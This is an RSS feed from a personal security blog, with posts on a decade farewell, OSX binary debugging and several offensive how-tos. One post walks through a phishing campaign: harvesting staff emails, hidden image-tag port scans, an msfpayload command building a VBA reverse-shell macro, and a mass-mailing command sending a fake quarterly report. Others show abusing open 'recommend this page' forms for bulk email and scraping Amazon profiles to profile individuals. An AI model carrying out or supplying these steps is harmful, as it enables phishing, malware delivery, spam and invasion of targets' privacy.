<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FreedomCoder &#187; English</title>
	<atom:link href="http://www.freedomcoder.com.ar/category/english/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.freedomcoder.com.ar</link>
	<description>Information for free-minded geeks</description>
	<lastBuildDate>Sun, 30 Jan 2011 22:38:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>El adios a una decada &#8230; The good bye to a decade</title>
		<link>http://www.freedomcoder.com.ar/2011/01/30/el-adios-a-una-decada-the-good-bye-to-a-decade/</link>
		<comments>http://www.freedomcoder.com.ar/2011/01/30/el-adios-a-una-decada-the-good-bye-to-a-decade/#comments</comments>
		<pubDate>Sun, 30 Jan 2011 19:57:40 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=406</guid>
		<description><![CDATA[<p>~~English~~:</p> <p>My last day of this decade. Had an awesome time this past 10 years. I learned a lot of things, I graduated, got married, lived in several different places and cities, hacked many thing, read plenty of code jejejej, etc&#8230;</p> <p>Wow, looking back is both short and so long. All that I prey is [...]]]></description>
			<content:encoded><![CDATA[<p><strong>~~English~~:</strong></p>
<p>My last day of this decade. Had an awesome time this past 10 years. I learned a lot of things, I graduated, got married, lived in several different places and cities, hacked many thing, read plenty of code jejejej, etc&#8230;</p>
<p>Wow, looking back is both short and so long. All that I prey is to have lots of years ahead of me and even more challenges with lots of fun.</p>
<p>Thanks you all &#8230;</p>
<p>Most specially thanks to my lovely Vicky, our families and all those who were part of this GREAT journey.</p>
<p>MUCHAS GRACIAS&#8230;.</p>
<p><strong>~~Spanish~~:</strong></p>
<p>Mi ultimo dia de esta decada. La verdad que tuve unos fantasticos 10 an~os. Aprendi muchas cosas nuevas, me gradue, me case, vivi en varios lugares en varias ciudades, hackie muchas cosas y lei mas que suficiente codigo ejejeje, etc &#8230;</p>
<p>Wow, mirando hacia atras se ve corto y tan largo a la vez. Todo lo que pido/rezo es poder tener muchos an~os mas y muchos desafios nuevos para pasarla bien.</p>
<p>Gracias a todos ..</p>
<p>Especialmente gracias a mi amada Vicky, a nuestras familias y a todos los que han sido parte de esta FANTASTICO viaje llamado vida.</p>
<p>THANKS A LOT &#8230;&#8230;</p>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2011/01/180698_10150091021017243_603657242_6075266_5722496_n.jpg"><img class="aligncenter size-full wp-image-407" title="180698_10150091021017243_603657242_6075266_5722496_n" src="http://www.freedomcoder.com.ar/wp-content/uploads/2011/01/180698_10150091021017243_603657242_6075266_5722496_n.jpg" alt="" width="720" height="360" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2011/01/30/el-adios-a-una-decada-the-good-bye-to-a-decade/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8220;Recommend this site/page&#8221; Client-side Attack</title>
		<link>http://www.freedomcoder.com.ar/2010/07/14/recommend-this-sitepage-client-side-attack/</link>
		<comments>http://www.freedomcoder.com.ar/2010/07/14/recommend-this-sitepage-client-side-attack/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 13:22:53 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=336</guid>
		<description><![CDATA[<p>Looks like these past few week, I got some inspiration. So let&#8217;s abuse it.</p> <p>One of the issues while performing a social engineering / client-side attack is that if a smart administrator finds the emails are all coming from a single location it will just add a rule to the firewall or SMTP server to [...]]]></description>
			<content:encoded><![CDATA[<p>Looks like these past few week, I got some inspiration. So let&#8217;s abuse it.</p>
<p>One of the issues while performing a social engineering / client-side attack is that if a smart administrator finds the emails are all coming from a single location it will just add a rule to the firewall or SMTP server to not server/respond that IP.</p>
<p>Yes this is easily bypassable, using different IP addresses or even using several free services such as hotmail, gmail, yahoo, etc (All supported in EMaily  http://www.github.com/FreedomCoder/emaily ) but what if we want to keep the attacks hidden and coming from one or more random sites or what if the SPAM filters are so good that it is just simply too difficult to send emails, but the client has a &#8220;recommend this site/page&#8221; on their web application and because the source IP is within the DMZ,  the SPAM rules won&#8217;t apply those emails, etc…</p>
<p>It is worth noting from the beginning that if we do not have proper permissions to use the web application this is not the most recommended way to hide and attack from a legal perspective; nevertheless for those cases in which wedo have permissions there is a way to search for already available web applications that contained methods such as the ones that let you recommend a site/page and write a message ( i.e Google.com )</p>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-12-at-3.30.48-PM.jpg"><img class="aligncenter size-full wp-image-338" title="Recommend this site search" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-12-at-3.30.48-PM.jpg" alt="" width="718" height="461" /></a></p>
<p>After looking through a few of the links shown above, we found that some of them are well programmed and only will let you put an email and name, but a lot of them after looking a little deeper, we found that a lot of them are just a POST or GET request form that lets you send an email to anyone with any subject, message and From/return-to address.</p>
<p>For example, the one show below lets you specify TO, FROM, body message and the &#8220;captcha&#8221; shown in the Figure it doesn&#8217;t really matter, since it is only checked on the browser, hence when we send a POST request we have no need to include it.  Using this information, now we know that it can be easily automated to send hundred or millions of emails with a small message that maybe it will support HTML and if not it will most surely allow us to send a URL to a controllable site.</p>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-12-at-3.18.28-PM.jpg"><img title="Recommend this Site Sample" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-12-at-3.18.28-PM.jpg" alt="" width="557" height="466" /></a></p>
<p>When we click on the “Recommend Now !” Button, it will create a simple POST request as it is shown below:</p>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-12-at-4.48.35-PM.jpg"><img class="aligncenter size-full wp-image-342" title="FORM POST request" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-12-at-4.48.35-PM.jpg" alt="" width="633" height="168" /></a></p>
<p>Now, how can we take full advantage of these freely available MAIL FORM services ?  To my knowledge there is not a tool capable of using such forms on a uniform matter and send round of emails.  It would be nice to have a small script capable of sending such emails rounds.  After writing a few Proof of Concepts, I realized that EMaily was the right tool to do exactly that. It already has 90 % of the code implemented and I only need to add a few methods here and there and create some new options for the new &#8220;binary&#8221; emaily_web.  Once I finish coding I should be able to send huge rounds of emails using something like the following commands:</p>
<div style="background-color: #000000; color: green; padding: 5px 5px 5px 5px;"><code>&gt; emaily_web  --add-server --name  site_example  --uri  site.example.com  --port 80<br />
&gt; emaily_web --server site --form site_post_req.txt --list emails.csv --block 50 --sleep 60</code></div>
<p>So instead of using an email template in html format, we have to provide a file containing a POST or GET request like the one shown below, which contains the request to send an email but the special words used by emaily to generate each individual email(request).</p>
<div style="background-color: #000000; color: green; padding: 8px 8px 8px 8px;"><code>POST /cgi-bin/mailform HTTP/1.1<br />
Host: www.example.com<br />
Referer: http://www.example.com/cgi-bin/mailform<br />
Cache-Control: max-age=0<br />
Origin: http://www.example.com<br />
Content-Type: application/x-www-form-urlencoded<br />
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.0 (KHTML, like Gecko) Chrome/6.0.408.1 Safari/534.0<br />
Accept-Encoding: gzip,deflate,sdch<br />
Accept-Language: en-US,en;q=0.8<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3<br />
Content-Length: 229</p>
<p><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;">your_name=<span style="color: #ff0000;">%%FNAME%%</span>&amp;amp;your_email=<span style="color: #ff0000;">%%FROM%%</span>&amp;amp;friend_name=<span style="color: #ff0000;">%%TNAME%%</span>&amp;amp;friend_email=<span style="color: #ff0000;">%%EMAIL%%</span></span><span style="color: #ff0000;"> </span>&amp;amp;txt_body=<span style="color: #ff0000;">%%MESSAGE%%</span>&amp;amp;btn_submit=+Recommend+Now+%21+</code></div>
<p>Once we run the application it should generate an output like the one below stating each email and if it was successful or if it fail when sending it.<br />
<strong>Output sample:</strong></p>
<div style="background-color: #000000; color: green; padding: 5px 5px 5px 5px;"><code>___________              .__.__<br />
\_   _____/_____ _____   |__|  | ___.__.<br />
|    __) _/     \__   \  |  |  |&lt;   |  |<br />
|        \   Y Y  \/ __ \|  |  |_\___  |<br />
/_______  /__|_|  (____  /__|____/ ____|    W E B<br />
\/      \/     \/        \/</code></p>
<p><code> </code></p>
<p><code>DISCLOSURE: This code is not bug free. If you find one do not hesitate to report it.<br />
All bugs are greatly appreciate it.<br />
------------------------------------------------------------------------<br />
Creating Email for test1@gmail.com<br />
Successfully sent test1@gmail.com<br />
Creating Email for test2@hotmail.com<br />
Successfully sent test2@hotmail.com<br />
Creating Email for test3@yahoomail.com<br />
Successfully sent test3@yahoomail.com<br />
Creating Email for matt_test1@hotmail.com<br />
Successfully sent matt_test1@hotmail.com<br />
Creating Email for matt_test2@gmail.com<br />
Successfully matt_test2@gmail.com<br />
Creating Email for matt_test3@yahoomail.com<br />
Successfully sent matt_test3@yahoomail.com<br />
------------------------<br />
Happy Hacking <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Good Bye.</code></p>
</div>
<p>This it is now part of the EMaily 0.3 released in-sync with this post, so most of the already known emaily features still work.</p>
<p>Happy Hacking !!!</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-7949681675937032";
google_ad_slot = "5601631059";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/07/14/recommend-this-sitepage-client-side-attack/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Amazon Users&#8217; info Crawler</title>
		<link>http://www.freedomcoder.com.ar/2010/07/11/amazon-users-info-crawler/</link>
		<comments>http://www.freedomcoder.com.ar/2010/07/11/amazon-users-info-crawler/#comments</comments>
		<pubDate>Sun, 11 Jul 2010 14:15:40 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=318</guid>
		<description><![CDATA[<p>Another weekend and another crawler. This time it is not emails, but nonetheless interesting data from a big gadget store.<br /> Surfing through the site for gadgets, I found that Amazon has some interesting Profile data about it&#8217;s users such as location, date of birth, wish list, interested persons list,  reviews done to gadgets, etc &#8230;</p> <p>Looking [...]]]></description>
			<content:encoded><![CDATA[<p>Another weekend and another crawler. This time it is not emails, but nonetheless interesting data from a big gadget store.<br />
<img class="aligncenter" title="amazon.com" src="http://www.textually.org/textually/archives/2009/11/15/amazonlogo.jpg" alt="" width="559" height="164" />Surfing through the site for gadgets, I found that Amazon has some interesting Profile data about it&#8217;s users such as location, date of birth, wish list, interested persons list,  reviews done to gadgets, etc &#8230;</p>
<p>Looking at the URL it was obvious that this could be automated to obtain most, if not the entire list of amazon users.  As it turns out a simple  Google search with</p>
<h3 style="text-align: center;"><strong><span style="color: #808080;">site:http://www.amazon.com/gp/pdp/profile/</span></strong></h3>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-11-at-12.22.37-AM.jpg"><img class="aligncenter size-full wp-image-320" title="amazon google search" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-11-at-12.22.37-AM.jpg" alt="" width="572" height="321" /></a></p>
<p>Once I saw that, it was just a matter of writing a small script to harvest all the profiles out of Google and then parse each individual profile for useful information, as it is shown on the screenshot below where it is shows how simple is to gather information such as user location.</p>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-11-at-10.49.12-AM.jpg"><img class="aligncenter size-full wp-image-326" title="PoC of Amazon Crawler" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-11-at-10.49.12-AM.jpg" alt="" width="794" height="436" /></a></p>
<p>Once I had a proof of concept done. I started to think how could I use this data, besides the fact that is a simple info disclosure from the part of amazon.</p>
<p>As you might imagine I&#8217;m always on the hunt for new ways to improve ESearchy info gathering. I&#8217;ve reached a limit into how many emails or new persons I can easily get for free online.  Because of these, lately, I have changed/expanded the searches from adding more persons to adding more detailed information about each individual target.  First it was the profiling  option on esearchy that searches within each users profile for other social networks, friends/co-workers, photos, or personal sites.</p>
<p>Having this now, I thought that we could expand the information to shopping information offered on the profiles, such as the wish list, the reviewed items &#8211;which is almost sure that they own such item&#8211;, etc ..</p>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-11-at-11.02.38-AM.jpg"><img class="aligncenter size-full wp-image-327" title="Amazon Wish List Sample" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-11-at-11.02.38-AM.jpg" alt="" width="647" height="271" /></a></p>
<p>So what if we wanted to target each individual target, we could crawl the entire google results DB one and store that into an offline DB, and or look for a  way to search for individual persons from this results.  What if we take the persons name obtained from LinkedIn, Spoke, etc and add that to our Google Search parameter.</p>
<h3 style="text-align: center;"><span style="color: #888888;">site:http://www.amazon.com/gp/pdp/profile/ Susan Emery</span></h3>
<p><span style="color: #888888;"><span style="color: #000000;"></p>
<p>That will easily return only a few results for which we could use some kind of  partial regular expresion with percentage for completeness and take a huge leap into saying that both persons are the same and that those are the times that he/she wants. </span></span></p>
<p><span style="color: #888888;"><span style="color: #000000;">So there it goes, more possible useful information that will allow us to generate even better and more targeted attacks against a particular person. </span></span></p>
<p><span style="color: #888888;"><span style="color: #000000;">Happy Hacking</span></span></p>
<p>Proof of Concept Code:<br />
<script src="http://gist.github.com/471577.js?file=amazon_crawler.rb"></script></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-7949681675937032";
google_ad_slot = "5601631059";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/07/11/amazon-users-info-crawler/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Client-side Penetration Testing with ESearchy &amp; EMaily</title>
		<link>http://www.freedomcoder.com.ar/2010/07/09/client-side-penetration-testing-with-esearchy-emaily/</link>
		<comments>http://www.freedomcoder.com.ar/2010/07/09/client-side-penetration-testing-with-esearchy-emaily/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 22:45:55 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=227</guid>
		<description><![CDATA[General Information <p style="text-align: center;"><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/06/frustrated_computer_user.jpg"></a></p> &#8230;&#8221;our employees are responsable and security aware&#8221;&#8230;. &#8230;&#8221;They have admin access, because we trust them &#8220;&#8230;. &#8230;.&#8221;I thought it was safe to open that file. Robert from IT sent it to me&#8221; &#8230; &#8230;.etc&#8230; <p>Nowadays,  computers networks, are &#8220;&#8221;"&#8221;usually&#8221;"&#8221;" secure. Finding an exploitable remote network vulnerability is getting more [...]]]></description>
			<content:encoded><![CDATA[<h3>General Information</h3>
<p style="text-align: center;"><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/06/frustrated_computer_user.jpg"><img class="aligncenter size-full wp-image-245" style="border: 5px solid black;" title="frustrated_computer_user" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/06/frustrated_computer_user.jpg" alt="" width="239" height="159" /></a></p>
<h4 style="text-align: center;"><em><span style="color: #ff0000;">&#8230;&#8221;our employees are responsable and security aware&#8221;&#8230;.</span></em></h4>
<h4 style="text-align: center;"><em><span style="color: #ff0000;">&#8230;&#8221;They have admin access, because we trust them &#8220;&#8230;.</span></em></h4>
<h4 style="text-align: center;"><em><span style="color: #ff0000;">&#8230;.&#8221;I thought it was safe to open that file. Robert from IT sent it to me&#8221; &#8230;</span></em></h4>
<h4 style="text-align: center;"><em><span style="color: #ff0000;">&#8230;.etc&#8230;</span></em></h4>
<p>Nowadays,  computers networks, are &#8220;&#8221;"&#8221;usually&#8221;"&#8221;" secure. Finding an exploitable remote network vulnerability is getting more and more difficult. This is due to several reasons, such as operating system are safer, patching is slowly becoming a must  for all production applications, etc.</p>
<p>But, what about the corporate networks ? Do companies secure their networks the same way they do production servers? The answer is NO.  For thousands of motives, workstations are never kept up-to-date, nor properly setup.  In top of that, we have the end-users ( including IT admins), an amazing set of people that do amazing tasks, such as manage to infect their computer in less than two days, install all those crazy apps, and/or open all those links that have explicit <strong><span style="color: #ff6600;">DO NOT OPEN VIRUS FOUND.</span></strong></p>
<p>Anyways, to make a story short, hackers, spammers, botnets, and all the &#8220;bad&#8221; guys are constnatly taken advantage of the ancient weakest link in all type of security; &#8220;<span style="color: #3366ff;">The human factor</span>&#8220;.   It does not matter how much you harden a computer, you can count on human ingenuity &#8211; &#8230;or should I say stupidity&#8230; &#8212; to find an unthinkable way to open and compromise their workstation.</p>
<p>In addition, nowadays, everybody wants to check their Facebook, LinkedIn, email, twitter, GMail. Basically,  it is human nature to be inform ( &#8230; gossip ).  Attackers know this and they count on people curiosity and need of information to craft their these types of attacks.</p>
<p>Client-side attacks, AKA social enginerring attacks,  social engineering penetration tests, basically the not so-new remote exploit trend.</p>
<p>It is worth noting that these type of attacks have existed for a long time, but now due to the tightness of security in networking on one hand and the expansion and rapid grow of social networks on the other hand; it has gained a lot of strength and  new types of attacks are appearing daily.</p>
<p>Types of attacks:</p>
<ul>
<li>emails</li>
<li>websites</li>
<li>Social networks ( Facebook, Orkut, twitter, Linkedin, &#8230; )</li>
<li>Forums</li>
<li>Physical ( pendrive, CD, phone, cellphones, ipods, ipads, etc )</li>
</ul>
<p>Enough of  the BS talk let get dirty and talk about how to actually perform a client-side attack.</p>
<h3>Info gathering Phase ( Reconnaissance )</h3>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-263" title="social_networking_sites" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/06/social_networking_sites.jpg" alt="" width="400" height="300" /></p>
<p>Like in any other type of penetration test, we need to gather information.  The only difference here is that instead of looking for operating system and software versions and vulnerabilities we need to search information about the company, their employees, their social networks, etc.</p>
<p>I guess that when we are performing a test we would have some limitations with regards to privacy and employess private life, but the true is that a real attacks won&#8217;t have such limitations. So the simple rule is the more information you have the better. Everything is relevant information. Everything from sample company documents all they way down to what place some employee went to dinner last week and with whom.</p>
<p>Luckily for us, <a href="http://en.wikipedia.org/wiki/Mark_Zuckerberg">Mark Zuckerberg</a> ( creator of Facebook ) has made our life much easier convincing people they are supposed to forget abour privacy and share as much information as they can with as much people as they can.</p>
<p>Depending on the type of attack we are performing, the type of data we will need, but most surely we will be needing  plenty of email accounts from the company being assess. There are many tools capable of performing OSINT ( Open Source Intelligence) theHarverster, Paterva&#8217;s Maltego, et and  of course ESearchy.</p>
<p>Esearchy is a small ruby library capable of searching the internet for email addresses and persons. Currently, the supported searching engines are, but not limited to:</p>
<ul>
<li>Search engines:
<ul>
<li>Google</li>
<li>Bing</li>
<li>Yahoo,</li>
<li>AltaVista</li>
</ul>
</li>
<li>Social Engines:
<ul>
<li>LinkedIn</li>
<li>Google Profiles</li>
<li>Naymz</li>
<li>Classmantes</li>
<li>Spoke</li>
</ul>
</li>
<li>Other Engines
<ul>
<li>PGP servers</li>
<li>Usenets</li>
<li>GoogleGroups Search</li>
<li>Spider</li>
<li>LDAP</li>
</ul>
</li>
</ul>
<p>In addition to that, ESearchy downloads several types of files and searches their contents for emails.</p>
<p>File types supported, but not limited to:</p>
<ul>
<li>PDF</li>
<li>DOC</li>
<li>DOCX</li>
<li>XLSX</li>
<li>PPTX</li>
<li>ODT</li>
<li>ODP</li>
<li>ODS</li>
<li>ODB</li>
<li>ASN</li>
<li>TXT</li>
</ul>
<p>Installation:</p>
<p><code> $&gt; sudo gem sources -a http://gems.github.com<br />
$&gt; sudo gem install gemcutter<br />
$&gt; sudo gem install esearchy</code></p>
<p>If you are installing it in backtrack follow the following how-to &#8220;<a title="Installing ESearchy on Backtrack 4.0" href="http://www.freedomcoder.com.ar/?p=206">Installing ESearchy on Backtrack 4.0</a>&#8221;</p>
<p>The application supports several types of searches using the esearchy command and or you can create custom scripts using the esearchy library.  Using the tool is simple, for example:</p>
<p><span style="font-family: monospace;">$&gt; esearchy -q @company.com &#8211;enable-gmail &#8211;enable-gpg<br />
$&gt; esearchy -q @company.com -c &#8220;Company Inc&#8221; &#8211;enable-people &#8211;profiling</span></p>
<p>After this we need to find information about the DNS servers, the mail servers and any other information that we usually do get as part of any penetration test.  A good tip, is to check the SMTP server for vulnerabilities such as information disclosures using VRFY, EXPN, etc &#8230;</p>
<h3>Software and Physical network</h3>
<p>Once we have a target list ( emails, names, etc .. ), We need to start performing an assessment on the network from within. One possible way of doing this is by sending one or more rounds of emails using specially crafted html templated emails consisting of several image tags pointing to different ports. and here is when a tool such as EMaily comes in.</p>
<p>Emaily is a command line tool created to send multiple templated emails using several servers at the same time. It contains many templates, but users can create their own templates and populate them as needed. It is worth noting that EMaily is also an expandable ruby library.</p>
<p><code>&lt;img src="http://site:80/80.jpg?e=test@test.com style="display:none" /&gt;<br />
&lt;img src="http://site:8080/8080.jpg?e=test@test.com style=" display:none" /&gt;<br />
&lt;img src="http://site:443/443.jpg?e=test@test.com style="display:none" /&gt;<br />
&lt;img src="http://site:1080/1080.jpg?e=test@test.com style=" display:none" /&gt;<br />
&lt;img src="http://site:139/139.jpg?e=test@test.com style=" display:none" /&gt;<br />
&lt;img src="http://site:445/445.jpg?e=test@test.com style=" display:none" /&gt;</code></p>
<p>This can be automatically generated using EMaily template system as it is shown on the following code snipet, by simply using the <strong>%%payload[port 1, ... ,port n]%%</strong></p>
<p><script src="http://gist.github.com/449467.js?file=template_sample.html"></script></p>
<p>As we can see from the output generated by EMaily this will test egressing rules, obtain information such as operating system, email client used, IP addresses, etc&#8230;</p>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-09-at-7.12.11-PM.jpg"><img class="aligncenter size-full wp-image-293" title="Emaily scanport payload" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-09-at-7.12.11-PM.jpg" alt="" width="686" height="365" /></a></p>
<p><strong>Penetration Phase</strong></p>
<p>Once we have obtained enough information about the company&#8217;s users and network infrastructure, it is time to concentrate all our efforts in attacking the company using all possible methods. There are many types of ways to compromise an end user. The most common methods are sending emails with certain types of attachments, such as pdf, Word, Excel, PowerPoint, executables, etc. Pretty much anything is possible and allowed.</p>
<p><em><strong>VBA Attacks</strong></em></p>
<p>One of the most commons methods to compromise a workstation is through a VBA payload. This is achieved using a word, excel or powerpoint file that contains a malicious script that will generate and execute, most commonly, a reverse shell. ( metasploit, Core Impact, custom built )</p>
<p>It is worth noting that when generating the payload we should use the open port information we got from our information gathering phase, so we are sure we can connect back to our MSF instance.</p>
<p>Sample Metasploit command to generate a reverse tcp vnc inject payload.</p>
<p><code>&gt; msfpayload windows/vncinject/reverse_tcp LHOST=192.168.1.1 V &gt; vbvnc.bas</code></p>
<p><code> </code></p>
<p>Once we have the payload we need to add it to a file. Here is where the experience, artist skills come in handy. The more credible the file the higher the chances for an employee to open the document. Usually, it is recommended to search in google, bing, yahoo for documents made or related to the company in question. This docs, should contain information such as logos, speeches and other corporate standards, that will make the attack more credible.</p>
<p>First open the document in question and open the Visual Editor for macros.</p>
<p>After that copy the content of the first part of the .bas script into the editor, save and quit the macro.</p>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/06/Screen-shot-2010-06-25-at-10.31.49-AM.jpg"><img class="aligncenter size-full wp-image-278" title="Visual Basic Editor" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/06/Screen-shot-2010-06-25-at-10.31.49-AM.jpg" alt="" width="557" height="266" /></a></p>
<p>The second part &#8220;the actual payload&#8221; should be stored in the end of the document, if we are using a MS Word document.</p>
<p style="text-align: center;"><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/06/Screen-shot-2010-06-25-at-10.35.52-AM.jpg"><img class="aligncenter size-full wp-image-277" title="Macro" src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/06/Screen-shot-2010-06-25-at-10.35.52-AM.jpg" alt="" width="783" height="528" /></a></p>
<p>It is worth noting, that if we use the latest version of the MSF VBA attack  (3.4.x ) we will only be able to use it in  Microsoft Word, but with a couple changes, we should be able to add it to Excel as well.   Instead of using the payload as paragraphs we can paste then into the macro. Adding as a stream ( as it used to be done ) and or by  using  chr() method.</p>
<div id="_mcePaste">&#8230;</div>
<div>s = s + chr(38) + chr(72) + chr(53) + chr(65)</div>
<div id="_mcePaste">s = s + chr(38) + chr(72) + chr(57) + chr(48)</div>
<div id="_mcePaste">s = s + chr(38) + chr(72) + chr(48) + chr(48)</div>
<div id="_mcePaste">s = s + chr(38) + chr(72) + chr(48) + chr(51)</div>
<div id="_mcePaste">s = s + chr(72) + chr(38  + chr(48) + chr(48)</div>
<div id="_mcePaste">s = s + chr(38)
</div>
<p>Once we have this setup Excel setup, it is time to use all the available emails and launch our first round of client-side attacks using EMaily again but this time we should use another template such as an internal email or something that would convince users to open the attached Excel sheet ( I leave that for later .. ).</p>
<p>For example if we want to send emails using servers 1,2,3,4 in blocks of 100 emails and we want to do it all at the same time ( Threaded) with a small scanports that would allow us to know who opened the email, we would have to execute the following command.</p>
<p><code>&gt; emaily -S server1,server2,server4,server4 -b 100 -T --subject "Quaterly Report" -t templates/q_report.html -l ~/company_emails.csv -a ~/tmp/Q4_Financial_Report.xls --webserver --scanports 80,443</code></p>
<p>Well, now is time layback, get some mate with alfajores and wait until users start executing the excel payload and we get connection back. After that sky is the limit &#8230;. HACK the entire company &#8230;.</p>
<p>Happy Hacking !!!!</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-7949681675937032";
google_ad_slot = "5601631059";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/07/09/client-side-penetration-testing-with-esearchy-emaily/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>strip binary executables in OSX</title>
		<link>http://www.freedomcoder.com.ar/2010/07/09/strip-binary-executables-in-osx/</link>
		<comments>http://www.freedomcoder.com.ar/2010/07/09/strip-binary-executables-in-osx/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 19:24:27 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=283</guid>
		<description><![CDATA[<p>While doing some vulnerability research on some of the default OSX binary files, I run into the issue that a lot of the binaries are universal and contain i386, x86_64 and/or ppc.</p> <p>For example, let us take the default installed app bash</p> <p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-09-at-3.08.50-PM.jpg"></a></p> <p>So I wanted to debug an application in order to see [...]]]></description>
			<content:encoded><![CDATA[<p>While doing some vulnerability research on some of the default OSX binary files, I run into the issue that a lot of the binaries are universal and contain i386, x86_64 and/or ppc.</p>
<p>For example, let us take the default installed app bash</p>
<p><a href="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-09-at-3.08.50-PM.jpg"><img class="aligncenter size-full wp-image-284" title="file info for bash." src="http://www.freedomcoder.com.ar/wp-content/uploads/2010/07/Screen-shot-2010-07-09-at-3.08.50-PM.jpg" alt="" width="593" height="200" /></a></p>
<p>So I wanted to debug an application in order to see where it was overflowing, but I only wanted to concentrate on the 32 bit architecture.  So I started wondering how could I force the application to run in 32 bit mode.  After some googleing and looking through the osx documentation. I found that there are a few commands just for that.</p>
<p><strong>ARCH</strong><br />
This command will let you run an application on on one or more specific architectures.</p>
<p>For example if we want to run bash in 32bit:<br />
<code>$ arch -i386 /bin/bash</code></p>
